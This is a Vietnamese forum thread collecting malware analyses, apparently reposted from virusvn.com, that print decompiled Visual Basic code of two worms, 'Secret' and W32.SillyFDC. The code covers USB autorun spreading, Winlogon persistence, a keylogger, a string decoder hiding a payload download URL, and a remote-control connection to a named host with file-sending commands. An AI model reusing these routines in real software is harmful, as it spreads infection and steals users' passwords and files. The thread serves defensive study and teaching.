Phân tích Virus!

Liên hệ QC

Mr Okebab

Ngon Ngất Ngây
Thành viên đã mất
Tham gia
6/8/06
Bài viết
3,260
Được thích
3,786
Đây là một số bài phân tích vius của các cao thủ khác, mình chỉ là người sưu tầm. Nếu các bạn đọc có chỗ nào không ưng ý thì cũng thông cảm, chỉ là để hiểu biết thêm.
Các bạn nào có các bài tương tự thì cứ post vào đây nhé.

Thân!
 
Secret (PhimNguoiLon.exe)

* Tên malware: SecretC
* Thuộc họ: Secret
* Loại: Worm
* Xuất xứ : Việt Nam
* Kích thước: 112kb (Đã pack), 250kb (Chưa pack)
* Mức độ phá hoại: Ko rõ


Nguy cơ:
Bị KeyLog, mất các thông tin quan trọng như mật khẩu...
Do có tính năng tự down malware từ Hosting. Nên có thể còn bị nhiều vụ khác
02.gif


Hiện tượng:
Tạo 2 tiến trình và một số key trong Registry
Tạo Autoruns.ìn + PhimNguoiLon.exe + Secret.exe trong đĩa USB cắm vào

Cách thức lây nhiễm:
Lây qua USB

Cách phòng tránh:
Thận trọng khi sài đĩa USB.

Mô tả kỹ thuật:
Trên VirusVN viết một bài hướng dẫn diệt nó.
Hôm qua mình nhận được một mẫu virus mới.
Thấy hay hay, lần này ko tìm cách viết bài hướng dận diệt mà thử tập phân tích.

Virus được Pack bằng PECompact 2.x.
Thử dùng Plugins kèm theo để Unpack nhưng ko thành công.

Mình dùng Quick Unpack 2.0 để Unpack.
Sau vài lần Unpack ko thành công thì cuối cùng cũng Unpack được.
-
Sau khi nhìn sơ qua các String trong Memory bằng ProcessXP thì mình nhận ra virus có 2 file thực thi khác biệt.
Mình nhận định virus có nhét trong Resource của nó 1 virus khác.
-
Sử dụng một Soft Open Source là : Resource Viewer/Extractor ( http://www.Planet-Source-Code.com/vb...25890&lngWId=1 ) để trích xiất thì đúng như đã dự đoán, một file thực thi khác nhét trong Resource.
Nó giả dạng : Microsoft Winsock Control DLL

-
Dùng VB Decompiler thi nhận ra một số đoạn đáng chú ý sau :
Project gồm 2 form : Form1 và Form2 và môt số Module, 1 Class, 1 Control, + 1 resource

PHP:
loc_412533:     If CBool((Me.global_88 = "Saturday") Or (Me.global_88 = "Tuesday")) Then '412595
loc_412544: var_AC = CVar(Unknown_40F54C(Me.global_88, CLng(Me.global_72), &H0, &H0, Me.global_72, "", "", "", "") & "\kdcoms32.dll") 'String
loc_412553:       If Not (Unknown_40F1FC(var_AC)) Then '41256C
loc_412564:         Timer4.Enabled = &HFF
loc_41256C:       End If
Thứ 7 hoặc thứ 3 sẽ tiến hành cho Timer4 làm việc (Update virus)
PHP:
loc_40F2B1:   LitStr "\userinit.exe"
....
loc_40F2C2:   LitStr "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
loc_410A66:   LitStr "\system32\system.exe"
loc_41207D: &H80000002 = Unknown_40F620("SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell", "Explorer.exe", &H0)
loc_4120B7: &H80000002 = Unknown_40F620("SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Userinit", Unknown_40F54C() & "\system32\userinit.exe,")

loc_4121A3:     var_AC = CVar(Unknown_40F54C("") & "\kdcoms.dll") 'String
loc_4121B1:     If Unknown_40F1FC(var_AC) Then '4121FA
loc_4121CD:       var_C8 = Unknown_40F54C() & "\kdcoms.dll"
loc_4121D0:       ext_401090
loc_4121EC:       var_AC = CVar(Unknown_40F54C("", &H0) & "\kdcoms.dll") 'String
loc_4121EF:       ext_401030
loc_4121FA:     End If

Private Sub Timer4_Timer() '4101D0
  'Data Table: 40BD20
loc_4100D4:   On Error GoTo 0
loc_4100E5:   Timer4.Enabled = &H0
loc_4100FB:   var_9C = CVar(Unknown_40F54C() & "\kdcoms32.dll") 'String
loc_410109:   If Unknown_40F1FC(var_9C) Then '4101CA
loc_41011C:     If (Me.global_88 = "Tuesday") Then '410174
loc_41014A: var_C8 = CVar(Unknown_40F54C(CVar(Decode("q}}yC88orun|7v‚xy n{j7lxv8qj hxwurwn8orun|8}j|t7{j{", &H9))) & "\system32\task.exe") 'String
loc_410158:       Call var_88.DL1.Address_4165C0
loc_410171:       GoTo loc_4101C8
loc_410174:     End If
loc_4101A1: var_C8 = CVar(Unknown_40F54C(CVar(Decode("q}}yC88orun|7v‚xy n{j7lxv8yq~xwp6qxwp8orun|8}j|t7{j{", &H9)), var_C8) & "\system32\task.exe") 'String
loc_4101AF:     Call var_88.DL1.Address_4165C0
loc_4101C8:     ' Referenced from: 410171
loc_4101CA:   End If
loc_4101CE:   Exit Sub
End Sub
(Còn tiếp)
 
Secret (PhimNguoiLon.exe) (tt)

Function Decode :

PHP:
Public Function Decode(Data, Depth) '40FD1C
  'Data Table: 40BD20
loc_40FC5A:   On Error GoTo 0
loc_40FC69:   For var_9A = &H1 To CInt(Len(Data)): var_96 = var_9A 'Integer
loc_40FC71:     var_BC = 1
loc_40FC82:     var_8C = ext_401018
loc_40FC92:     var_8E = ext_401004
loc_40FC9D:     If (Depth = &H0) Then '40FCA7
loc_40FCA4:       Depth = &H28
loc_40FCA7:     End If
loc_40FCB0:     If (Depth > 254) Then '40FCBB
loc_40FCB8:       Depth = 254
loc_40FCBB:     End If
loc_40FCCF:     If ((var_8E - Depth) < &H0) Then '40FCDE
loc_40FCDB:       var_8E = (var_8E + 255)
loc_40FCDE:     End If
loc_40FCE7:     ext_401054
loc_40FCFF:     var_94 = var_94 & CStr("")
loc_40FD07:   Next var_9A 'Integer
loc_40FD11:   var_88 = var_94
loc_40FD16:   Result = arg_14: Exit Sub
End Function
Nếu bạn đã từng đọc qua Function này ở Source nào đó thì bạn sẽ nhận ra ngày, đoạn code gốc

PHP:
Public Function Decode(Data As String, Optional Depth As Integer) As String
Dim TempChar As String
Dim TempAsc As Integer
Dim NewData As String
Dim vChar As Integer

For vChar = 1 To Len(Data)
    TempChar = Mid$(Data, vChar, 1)
        TempAsc = Asc(TempChar)
        If Depth = 0 Then Depth = 40
        If Depth > 254 Then Depth = 254
    TempAsc = TempAsc - Depth
        If TempAsc < 0 Then TempAsc = TempAsc + 255
        TempChar = Chr(TempAsc)
        NewData = NewData & TempChar
Next vChar
Decode = NewData

End Function
Kết quả giải mã String : q}}yC88orun|7v‚xyn{j7lxv8qj hxwurwn8orun|8}j|t7{j{" là http://files.myopera.com/hav_online/files/task.rar

PHP:
loc_41141B:   var_1AC = var_17C And (var_17C <> "A")
loc_41142A:   ext_401088
loc_411435:   ext_40102C
loc_41145A:   If CBool(var_1CC And (var_1CC <> "B")) Then '411B9C
loc_411461:     var_86 = &HFF
loc_411477:     var_15C = var_DC & "\" & "Secret.exe"
loc_41147F:     VarLateMemCallLdVar
loc_411496:     If CBool(Not var_9C) Then '41154F
loc_4114E2:       var_21C = CStr(var_DC & "\" & "Secret.exe")
loc_4114FB:       var_218 = App.Path & "\" & App.EXEName & ".exe"
loc_4114FE:       ext_401070
loc_41153C:       var_204 = CStr(var_DC & "\" & "Secret.exe")
loc_411540:       ext_401090
loc_41154F:     End If
loc_41155B:     var_12C = var_DC & "\AutoRun.inf"
loc_411563:     VarLateMemCallLdVar
loc_411574:     If CBool(var_9C) Then '4115AF
loc_41158A:       var_204 = CStr(var_DC & "\AutoRun.inf")
loc_41158E:       ext_401090
loc_4115A3:       var_12C = var_DC & "\AutoRun.inf"
loc_4115A7:       ext_401030
loc_4115AF:     End If
loc_4115C7:     Open CStr(var_DC & "\AutoRun.inf") For Output As &H1 Len = &HFF
loc_4115D8:     Print &H1, "[AutoRun]"
loc_4115E5:     Print &H1, "open=Secret.exe"
loc_4115F2:     Print &H1, ";shell\open=Open(&O)"
loc_4115FF:     Print &H1, "shell\open\Command=Secret.exe"
loc_41160C:     Print &H1, "shell\open\Default=1"
loc_411619:     Print &H1, ";shell\explore=Manager(&X)"
loc_411626:     Print &H1, "shell\explore\Command=Secret.exe"
loc_411630:     Close &H1
loc_411645:     var_204 = CStr(var_DC & "\AutoRun.inf")
Ghi file Autoruns.inf và Secret.exe vào đĩa USB.

Module1 :
Cho thấy các thao tác KeyLog.


PHP:
Public Sub init() '410078
  'Data Table: 40BD20
loc_40FFA0:   On Error GoTo 0
loc_40FFB1:   var_98 = CVar(Unknown_40F54C() & "\system32\MSWINSCK.OCX") 'String
loc_40FFC0:   If Not (Unknown_40F1FC(var_98)) Then '410056
loc_410006:     Open Unknown_40F54C() & "\system32\MSWINSCK.OCX" For Binary As &H1 Len = &HFF
loc_41001D:     Put &H1, &H1, LoadResData(101, "CUSTOM")
loc_410025:     Close &H1
loc_410044:     ext_40103C
  loc_410049:   var_CC = CVar(%x2 & Unknown_40F54C("Regsvr32", &H2) & "\system32\MSWINSCK.OCX /s")
loc_410056:   End If
loc_41006A:   Load MemVar_416064
loc_410074:   Exit Sub
End Sub
Ghi đè MSWINSCK.OCX bằng Data trong Resource

Form2 gồm :
Các lệnh điều khiển Trojan

PHP:
Private Sub Timer1_Timer() '40F884
  'Data Table: 40B764
loc_40F7F4:   On Error GoTo 0
loc_40F805:   Timer1.Enabled = &H0
  loc_40F819: var_98 = var_88.@filesize@
loc_40F82A:   If (CInt(var_98) <> &H7) Then '40F867
  loc_40F839:   call var_88..Address_40D1F0
loc_40F846:     var_A8 = "scsd.ath.cx"
loc_40F84C:     var_C8 = 6999
  loc_40F85C:   call var_88..Address_40D1E0
loc_40F867:   End If
loc_40F877:   var_88.Timer.Enabled = &HFF
loc_40F881:   Exit Sub
End Sub
Kết nối với Server qua máy chủ và cổng ở trên.


PHP:
Private Sub ws_() '410D48
  'Data Table: 40B764
loc_410B14:   On Error GoTo 0
loc_410B32:   Call var_9C.ws.Address_40BA0C
loc_410B57:   If (InStr(&H1, "", "@chdirec@", &H0) <> &H0) Then '410BED
loc_410B79:     var_88 = ext_401048
loc_410B81:     ext_401050
loc_410B8E:     ext_401068
loc_410BA4:     Dir1.Path = CStr(var_BC)
loc_410BBE:     ext_401068
loc_410BD4:     File1.Path = CStr(var_BC)
loc_410BE8:     Call sendinfo
loc_410BED:   End If
loc_410C09:   If (InStr(&H1, var_88, "@chdrv@", &H0) <> &H0) Then '410C9F
loc_410C2B:     var_88 = ext_401048
loc_410C33:     ext_40105C
loc_410C40:     ext_401068
loc_410C56:     Dir1.Path = CStr(var_BC)
loc_410C70:     ext_401068
loc_410C86:     File1.Path = CStr(var_BC)
loc_410C9A:     Call sendinfo
loc_410C9F:   End If
loc_410CBB:   If (InStr(&H1, var_88, "@sendfile@", &H0) <> &H0) Then '410D1B
loc_410CC6:     Me.global_72 = True
loc_410CEF:     Me.global_52 = CVar(ext_401048)
loc_410CFA:     Close &H1
loc_410D0D:     Open CStr(Me.global_52) For Binary As &H1 Len = &HFF
loc_410D16:     Call SendFile
loc_410D1B:   End If
loc_410D37:   If (InStr(&H1, var_88, "@cancel@", &H0) <> &H0) Then '410D44
loc_410D41:     Me.global_104 = &HFF
loc_410D44:   End If
loc_410D46:   Exit Sub
End Sub
Virus sử dụng Control là MSWINSCK.OCX đã trích xuất làm để tiến hành chờ các gói tin và trả lời các gói tin đó.

PHP:
Private Sub Timer2_Timer() '411044
  'Data Table: 40B764
loc_410D90:   On Error GoTo 0
  loc_410DAA: Me.global_68 = %x2 & Unknown_414E84(Me.global_68)
loc_410DCA:   If ((MemVar_416040 <> "") And (Len(MemVar_416040) > &H2)) Then '410E70
  loc_410E07:   If CBool((CInt(var_90.@filesize@) = &H7) And (Me.global_72 = False)) Then '410E2F
loc_410E13:       var_A0 = CVar("@yahoo@" & MemVar_416040) 'String
  loc_410E21:     call var_90..Address_0
loc_410E2F:     End If
loc_410E46:     Open Unknown_40F54C("") & "\kdcoms.dll" For Append As &H2 Len = &HFF
loc_410E58:     Print &H2, MemVar_416040
loc_410E62:     Close &H2
loc_410E6F:     Exit Sub
loc_410E70:   End If
loc_410E8F:   If (InStr(&H1, Me.global_68, "@enter@", &H0) <> &H0) Then '410F7F
loc_410EBA:     Me.global_68 = ext_401048
loc_410ECE:     If (Me.global_68 <> "") Then '410F7A
  loc_410F0B:     If CBool((CInt(var_90.@filesize@) = &H7) And (Me.global_72 = False)) Then '410F36
loc_410F1A:         var_A0 = CVar("@yahoo@" & Me.global_68) 'String
  loc_410F28:       call var_90..Address_0
loc_410F36:       End If
loc_410F4D:       Open Unknown_40F54C("", Me.global_68, "@enter@", "", &H1, &HFFFFFFFF, &H1) & "\kdcoms.dll" For Append As &H2 Len = &HFF
loc_410F62:       Print &H2, Me.global_68
loc_410F6C:       Close &H2
loc_410F7A:     End If
loc_410F7E:     Exit Sub
loc_410F7F:   End If
loc_410F90:   If (Len(Me.global_68) > &H37) Then '41103C
  loc_410FCD:   If CBool((CInt(var_90.@filesize@) = &H7) And (Me.global_72 = False)) Then '410FF8
loc_410FDC:       var_A0 = CVar("@yahoo@" & Me.global_68) 'String
  loc_410FEA:     call var_90..Address_0
loc_410FF8:     End If
loc_41100F:     Open Unknown_40F54C("") & "\kdcoms.dll" For Append As &H2 Len = &HFF
loc_411024:     Print &H2, Me.global_68
loc_41102E:     Close &H2
loc_41103C:   End If
loc_411040:   Exit Sub
End Sub
Sau mỗi thao tác Enter sẽ ghi thêm thông tin nhập trước đó vào file kdcoms.dll


Module1 :
Hàm đặt KeyLog (Được gọi ở Form2) qua lênh sau ở Form2 :

PHP:
loc_410DAA: Me.global_68 = %x2 & Unknown_414E84(Me.global_68)
Người phân tích:
DungCoi - VirusVN.com


(theo _www.virusvn.com)
 
Virus được Pack bằng PECompact 2.x. Thử dùng Plugins kèm theo để Unpack nhưng ko thành công. Mình dùng Quick Unpack 2.0 để Unpack. Sau vài lần Unpack ko thành công thì cuối cùng cũng Unpack được. - Sau khi nhìn sơ qua các String trong Memory bằng ProcessXP thì mình nhận ra virus có 2 file thực thi khác biệt. Mình nhận định virus có nhét trong Resource của nó 1 virus khác. - Sử dụng một Soft Open Source là : Resource Viewer/Extractor ( http://www.Planet-Source-Code.com/vb...25890&lngWId=1 ) để trích xiất thì đúng như đã dự đoán, một file thực thi khác nhét trong Resource. Nó giả dạng : Microsoft Winsock Control DLL - Dùng VB Decompiler thi nhận ra một số đoạn đáng chú ý sau : Project gồm 2 form : Form1 và Form2 và môt số Module, 1 Class, 1 Control, + 1 resource
Những chữ in đậm đó là gì? Có thể tìm ở đâu? Cách sử dụng như thế nào? Làm sao để biết và lấy các code đó trong 1 tập tin .exe vậy? Bác có tài liệu này hay đã đọc ở đâu kô chỉ cho em biết với? Tạo file virus thì kô ham, nhưng đọc được các đoạn code của các chương trình nước ngoài mới thì sẽ rất có ích cho việc viết code đấy bác?! Thân.
 
Lần chỉnh sửa cuối:
W32.SillyFDC !!

Một con virus Dũng còi đã từng gặp cách đây nữa năm, khi về huyện. Con virus này đã lây ra gần như toàn bộ các máy tính mà mình tiếp xúc ở huyện mình lúc bấy giờ.
Mình gặp nó, và kill nó. Nhưng rất trùng hợp, tại tất cả các máy nhiễm nó, mình đều chẩn đoán luôn bị nhiễm cùng lúc 2 loại virus. Một là worm, một là virus file.
Lý do là rõ ràng con worm mình đã diệt được, nhưng khi khởi động thì vẫn luôn hiện một bảng thông báo virus khác.
-
Hôm nay mình định phân tích nó, chỉ đơn giản nó là một số ít mẫu virus viết trên VB6 mà mình có.
Nhưng bất ngờ, nó làm mình nhớ đến 1 cuộc nói chuyện của mình với 1 kỹ thuật viên Tin học.
Năm đó là năm mình học 11, mình chưa biết virus là gì.
Trong cơ quan mẹ mình làm có 1 chú kỹ thuật viên mà mình rất thần tượng.
Câu hỏi : "Chú ơi vi rút là cái chi chú ?"
Chú ấy trả lời : "Virus là một chương trình tự sao chép, nó chèn thêm lệnh vào Autoxec.bat để khởi động"

Mình mau chóng quên mất cái "Lý thuyết" ấy khi mình biết chút ít về virus.
Hôm nay đọc qua code con virus này, làm mình nhớ lại câu chuyện ấy.
-
Sorry, mình đang có chuyện buồn nên có thể "nói tào lao" hơi nhiều. Mong anh em "xá tội".

Phân tích:

Chúng ta sẽ coi quá trình làm việc theo tuần tự của virus nhé :

1. Lần theo Form_Load :

PHP:
Private Sub Form_Load() '403574
  'Data Table: 401838
  loc_40353B: App.TaskVisible = 0
              If App.PrevInstance Then '403567
  loc_403565:   End
              End If
  loc_40356A: var_9C = funct0()
  loc_403572: Exit Sub
End Sub
[] Một thao tác xác định đường dẫn virus
[] Gọi hàm funct0


PHP:
Public Function funct0() '405960
  'Data Table: 401838
  Dim var_AC As Variant
  loc_405782: On Error Resume Next
  loc_4057B1: var_CC = Ucase(CVar(App.Path)) 'Variant
              If (var_CC = funct1(0)) Then '4057E4
  loc_4057DE:   Result = arg_C: Exit Sub
              End If
  loc_4057EB: var_FC = "\" 'Variant
              If CBool(Right(var_CC, 1) <> var_FC) Then '40581F
  loc_40581B:   var_CC = var_CC & var_FC 'Variant
              End If
  loc_40584B: var_10C = Ucase(CVar(App.EXEName)) 'Variant
              If (var_10C = Ucase("Thumbs")) Then '4058AE
  loc_405890:   var_AC = InStr(1, var_CC, ":", 0)
  loc_4058A4:   var_11C = Left(var_CC, CLng(%x1)) 'Variant
  loc_4058AB:   GoTo loc_4058E0
              End If
  loc_4058D9: var_11C = var_CC & Left(var_10C, CLng((Len(var_10C) - 1))) 'Variant
  loc_4058E0: ' Referenced from: 4058AB
  loc_4058E7: var_AC = funct2()
  loc_4058F7: var_AC = funct3(var_11C)
  loc_40593E: ShellExecute(Me.Hwnd, "open", CStr(var_11C), "", "", 1)
  loc_405953: End
  loc_405957: Result = arg_C: Exit Sub
End Function
[]

Nếu đường dẫn hiện tại của tập tin có path là là một giá trị tại key HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\Shell Folders
Sẽ ko chạy đoạn code còn lại.
Nếu điều này sai sẽ tiến hành các thủ tục ở dưới :
[] Gọi 2 hàm funct2 funct3 : Hai ham này sẽ được nói ở ngay sau phần này
[] Gọi một app khác tại dòng lệnh :
ShellExecute(Me.Hwnd, "open", CStr(var_11C), "", "", 1)
[] Sau đó kết thúc phiên làm việc.

PHP:
Public Function funct2() '405BF8
  'Data Table: 401838
  Dim var_168 As Double
  loc_4059D2: On Error Resume Next
  loc_4059F6: var_AC = CVar(App.EXEName) 'Variant
  loc_405A1E: var_CC = CVar(App.Path) 'Variant
              If CBool(Right(var_CC, 1) <> "\") Then '405A5A
  loc_405A56:   var_CC = var_CC & "\" 'Variant
              End If
  loc_405A6F: var_FC = var_CC & var_AC & ".com" 'Variant
  loc_405A8B: var_10C = var_CC & var_AC & ".scr" 'Variant
  loc_405AAD: var_13C = funct1(0) & "\" 'Variant
  loc_405ACF: var_14C = var_13C & "Adobe update" & ".com" 'Variant
  loc_405AED: var_15C = var_13C & "Adobe Online" & ".com" 'Variant
  loc_405B04: FileCopy CStr(var_FC), CStr(var_14C)
  loc_405B20: FileCopy CStr(var_FC), CStr(var_15C)  loc_405B3C: FileCopy CStr(var_10C), CStr(var_14C)
  loc_405B58: FileCopy CStr(var_10C), CStr(var_15C)
  loc_405B8A: FileCopy CStr(var_CC & "Thumbs   .db"), CStr(funct1(1))
  loc_405BBA: SetAttr CStr(funct1(1)), 3
  loc_405BD8: var_168 = Shell(var_14C, 2)
  loc_405BEA: var_168 = Shell(var_15C, 2)
  loc_405BEF: Result = arg_C: Exit Sub
End Function
[] Xác định đường dẫn của chính nó.
[] Tiến hành copy đến các path sau :
() Ghi chú : Mình gọi giá trị lấy được từ key
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\Shell Folders là Lưu
[]
Lưu + "\" + "Adobe update" & ".com"
[]
Lưu + "\" + "Adobe Online" & ".com"
[]
windir + "\" + "Thumbs .db"
DC có một điều rất tò mò, phải chăng 2 dòng lệnh :
PHP:
loc_405B04: FileCopy CStr(var_FC), CStr(var_14C)
  loc_405B20: FileCopy CStr(var_FC), CStr(var_15C)

Là thừa ? Vì 2 dòng lệnh ngay sau đó sẽ tiến hành Copy đè các tập tin khác cũng vào path đó.
Phải chăng đây là sai sót của kẻ viết virus ?

[] Thiết lập thuộc tính ẩn cho
windir + "\" + "Thumbs .db"
[] Kích hoạt :
Lưu + "\" + "Adobe update" & ".com"
Lưu + "\" + "Adobe Online" & ".com"


PHP:
Public Function funct3(a) '404DDC
  'Data Table: 401838
  Dim var_314 As Variant
  Dim var_338 As String
  loc_404C86: On Error Resume Next
  loc_404C90: var_2F4 = "\" 'Variant
  loc_404C98: DoEvents
              If CBool(Right(a, 1) <> var_2F4) Then '404CCF
  loc_404CCC:   a = a & var_2F4
              End If
  loc_404CEC: var_338 = CStr(a & "*")
  loc_404D10: var_490 = CVar(FindFirstFile(var_338, Record Of arg_1E)) 'Variant
  loc_404D3D: var_314 = funct4(var_2B8, a, arg_1E)
  loc_404D48: var_2B8 = var_338
  loc_404D59: var_5E0 = Record Of arg_1E 'Copy battery of vars to single variable
              If (FindNextFile(CLng(var_490), var_5E0) <> 0) Then '404DBA
  loc_404DA1:   var_314 = funct4(var_2B8, a, arg_1E)
  loc_404DAC:   var_2B8 = var_338
  loc_404DB7:   GoTo loc_404D51
              End If
  loc_404DC1: FindClose(CLng(var_490))
  loc_404DC9: Result = arg_10: Exit Sub
  loc_404DD1: GoTo loc_404C96
  loc_404DD6: Result = arg_10: Exit Sub
End Function
 
W32.SillyFDC !! (tt)

Liệt kê tất cả tập tin của thư mục và gọi hàm funct4 làm việc với tập các tập tin đó.
....................

2. Lần theo Timer
Trong con virus có sử dụng 1 timer. Với tần xuất gọi biến cố khá cao (
Internal= 500 vậy cứ 0.5 giây sẽ gọi các dòng lệnh trong nó làm việc một lần).


PHP:
Private Sub Timer1_Timer() '4034F4
  'Data Table: 401838
  loc_4034C7: var_94 = funct5()
  loc_4034D2: var_94 = funct6()
  loc_4034DD: var_94 = funct9()
  loc_4034E8: var_94 = funct10()
  loc_4034F0: Exit Sub
End Sub
[] Liên tục gọi 4 hàm

PHP:
Public Function funct5() '405F80
  'Data Table: 401838
  Dim var_C8 As Variant
  loc_405C67: var_A4 = "HKEY_CLASSES_ROOT\scrfile" 'Variant
  loc_405C78: var_C8 = Unknown_404014(CStr(var_A4))
  loc_405C93: var_C8 = Unknown_404854(CStr(var_A4), "")
  loc_405CAE: var_C8 = Unknown_404854(CStr(var_A4), "InfoTip", "")
  loc_405CC9: var_C8 = Unknown_404854(CStr(var_A4), "NeverShowExt", "")
  loc_405CE4: var_C8 = Unknown_404854(CStr(var_A4), "TileInfo", "")
  loc_405D08: var_D8 = Unknown_404854(CStr(var_A4 & "\shell\open\command"), "", "%1")
  loc_405D1C: var_E8 = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\" 'Variant
  loc_405D2C: var_F8 = var_E8 & "Windows NT\CurrentVersion\Winlogon" 'Variant
  loc_405D40: var_C8 = Unknown_404854(CStr(var_F8), "LegalNoticeCaption", "81u3f4nt45y - 24.01.2007 - Surabaya")
loc_405DA1: var_C8 = Unknown_404854(CStr(var_F8), "LegalNoticeText", "Surabaya in my birthday" & vbCrLf & "Don" & Chr(39) & "t kill me, i" & Chr(39) & "m just send message from your computer" & vbCrLf & "Terima kasih telah menemaniku walaupun hanya sesaat, tapi bagiku sangat berarti" & vbCrLf & "Maafkan jika kebahagiaan yang kuminta adalah teman sepanjang hidupku" & vbCrLf & "Seharusnya aku mengerti bahwa keberadaanku bukanlah disisimu, hanyalah lamunan dalam sesal" & vbCrLf & "Untuk kekasih yang tak kan pernah kumiliki 3r1k1m0")
  loc_405DC7: var_130 = "CheckedValue" 'Variant
  loc_405DD0: var_140 = "DefaultValue" 'Variant
  loc_405DE0: var_150 = var_E8 & "Windows\CurrentVersion\explorer\Advanced\Fold  er\" 'Variant
  loc_405DF0: var_160 = var_150 & "Hidden\" 'Variant
  loc_405E00: var_170 = var_160 & "NOHIDDEN" 'Variant
  loc_405E1A: var_C8 = Unknown_4044D4(CStr(var_170), CStr(var_130), 2)
  loc_405E3F: var_C8 = Unknown_4044D4(CStr(var_170), CStr(var_140), 2)
  loc_405E5A: var_170 = var_160 & "NOHIDORSYS" 'Variant
  loc_405E74: var_C8 = Unknown_4044D4(CStr(var_170), CStr(var_130), 0)
  loc_405E99: var_C8 = Unknown_4044D4(CStr(var_170), CStr(var_140), 2)
  loc_405EB4: var_170 = var_160 & "SHOWALL" 'Variant
  loc_405ECE: var_C8 = Unknown_4044D4(CStr(var_170), CStr(var_130), 0)
  loc_405EF3: var_C8 = Unknown_4044D4(CStr(var_170), CStr(var_140), 2)
  loc_405F0E: var_170 = var_150 & "HideFileExt" 'Variant
  loc_405F28: var_C8 = Unknown_4044D4(CStr(var_170), CStr(var_130), 1)
  loc_405F4D: var_C8 = Unknown_4044D4(CStr(var_170), CStr(var_140), 1)
  loc_405F6E: var_C8 = Unknown_4044D4(CStr(var_170), "UncheckedValue", 1)
  loc_405F79: Result = arg_C: Exit Sub
End Function


[] Xoá key HKEY_CLASSES_ROOT\scrfile
[] Ghi lại key bằng giá trị rỗng
[] Ghi liên tiếp 4 giá trị như sau :
InfoTip
NeverShowExt
TileInfo
HKEY_CLASSES_ROOT\scrfile\shell\open\command
với giá trị %1{
Việc ghi các key này làm cho việc bạn gọi các tập tin .src sẽ bình thường chứ ko phải qua bất kỳ chương trình nào (Nhiều chương trình quản lý các trình bảo vệ màn hình làm điều này).
Việc này giúp virus được kích hoạt ngay cả khi bạn chạy nó khi nó có đuôi .src một cách bình thường như các file .exe khác
}

[] Tương tự, virus ghi vào các giá trị khác (Bạn đọc trong code)

{
Ghi lại một số thông tin (Ko gây hại, chỉ có tác dụng vui vui mà thôi.
Ghi lại một số thông tin khác làm bạn ko thể thấy file ẩn bằng khi duyệt tập tin bằng Windows Explorer
}


PHP:
Public Function funct6() '403B6C
  'Data Table: 401838
              For var_F4 = 67 To 90: var_A4 = var_F4 'Variant
  loc_403AD1:   DoEvents
                If (funct7(Chr(CLng(var_A4))) > 0) Then '403B5A
  loc_403B25:     var_134 = Chr(CLng(var_A4)) & ":" & "\" 'Variant
  loc_403B36:     var_104 = funct3(var_134)
  loc_403B44:     var_104 = funct8(var_134)
  loc_403B52:     var_104 = funct11(var_134)
                End If
              Next var_F4 'Variant
  loc_403B63: Result = arg_C: Exit Sub
End Function
[] Liệt kê các ký tự từ C -> Z (Dĩ nhiên bạn dễ dàng nhận ra đây là thao tác liệt kê ỗ đĩa).
[] Kiểm tra ổ đĩa có tồn tại hay không.
[] Tự tạo tập tin
Autorun.inf trên các ỗ đĩa tìm được.
[] Tự copy vào đó tập tin có đường dẫn
: Ổ đĩa :\Thumbs .db , và thiết lập thuộc tính ẩn cho file đó

PHP:
Public Function funct9() '404A00
  'Data Table: 401838
  Dim var_B4 As Integer
  loc_4048B2: On Error Resume Next
  loc_4048C7: var_D4 = funct1(0) 'Variant
  loc_4048E2: var_B4 = InStr(1, var_D4, ":", 0)
  loc_4048FF: var_104 = Left(var_D4, CLng(%x1)) & "Autoexec.bat" 'Variant
              If (Dir(var_104) <> "") Then '40492F
  loc_404929:   Result = arg_C: Exit Sub
              End If
  loc_40493D: SetAttr CStr(var_104), 0
  loc_40494A: Kill var_104
  loc_40495D: Open CStr(var_104) For Output As 1 Len = &HFF
loc_4049CD: Print 1, "@Echo Off" & vbCrLf & "Echo 81u3f4nt45y - 24.01.2007" & vbCrLf & "Echo Don" & Chr(39) & "t kill me, i" & Chr(39) & "m just send message from your computer" & vbCrLf & "Echo Terima kasih telah menemaniku walaupun hanya sesaat, tapi bagiku sangat berarti" & vbCrLf & "Echo Maafkan jika kebahagiaan yang kuminta adalah teman sepanjang hidupku" & vbCrLf & "Echo Seharusnya aku mengerti bahwa keberadaanku bukanlah disisimu, hanyalah lamunan dalam sesal" & vbCrLf & "Echo Untuk kekasih yang tak kan pernah kumiliki 3r1k1m0" & vbCrLf & "pause"
  loc_4049F6: Close 1
  loc_4049FA: Result = arg_C: Exit Sub
End Function
[] Ghi vàoAutoexec.bat các dòng sau :
@Echo Off
Echo 81u3f4nt45y - 24.01.2007
Echo Don 't kill me, i" & Chr(39) & "m just send message from your computer
Echo Terima kasih telah menemaniku walaupun hanya sesaat, tapi bagiku sangat berarti
Echo Maafkan jika kebahagiaan yang kuminta adalah teman sepanjang hidupku
Echo Seharusnya aku mengerti bahwa keberadaanku bukanlah disisimu, hanyalah lamunan dalam sesal
Echo Untuk kekasih yang tak kan pernah kumiliki 3r1k1m0
pause

{
Hiển thị một hộp thông báo với nội dung này khi bạn khởi động (Chính xác là ở màn hinh chào của Windows).
}


PHP:
Public Function funct10() '40417C
  'Data Table: 401838
  Dim var_148 As Double
  loc_404066: On Error Goto loc_40416F
  loc_404082: var_F4 = funct1(0) & "\" 'Variant
  loc_4040A2: var_104 = var_F4 & "Adobe Online" & ".com" 'Variant
  loc_4040BE: var_114 = var_F4 & "Adobe update" & ".com" 'Variant
              If (Ucase(CVar(App.EXEName)) = Ucase("Adobe Online")) Then '404145
  loc_404126:   FileCopy CStr(var_104), CStr(var_114)
  loc_40413F:   var_148 = Shell(var_114, 2)
  loc_404142:   GoTo loc_40416F
              End If
  loc_404153: FileCopy CStr(var_114), CStr(var_104)
  loc_40416C: var_148 = Shell(var_104, 2)
  loc_40416F: ' Referenced from: 404066
  loc_40416F: ' Referenced from: 404142
  loc_40416F: Result = arg_C: Exit Sub
  loc_404175: Result = arg_C: Exit Sub
End Function
[] Hàm đảm bảo cho việc uôn có 2 tiến trình của virus làm việc.

---
Trên đây là số thao tác chính của virus, nhưng vẫn còn một sô thao tác DC chưa phân tích được.


(Theo _www.virusvn.com)
 
LilaNgon (250.exe megabyte.exe) !!

Nhận xét : Dạng virus dùng các tham số truyền tới kèm theo khi gọi file (Command rất tếu)
- Bước 1: Xử lý các String-
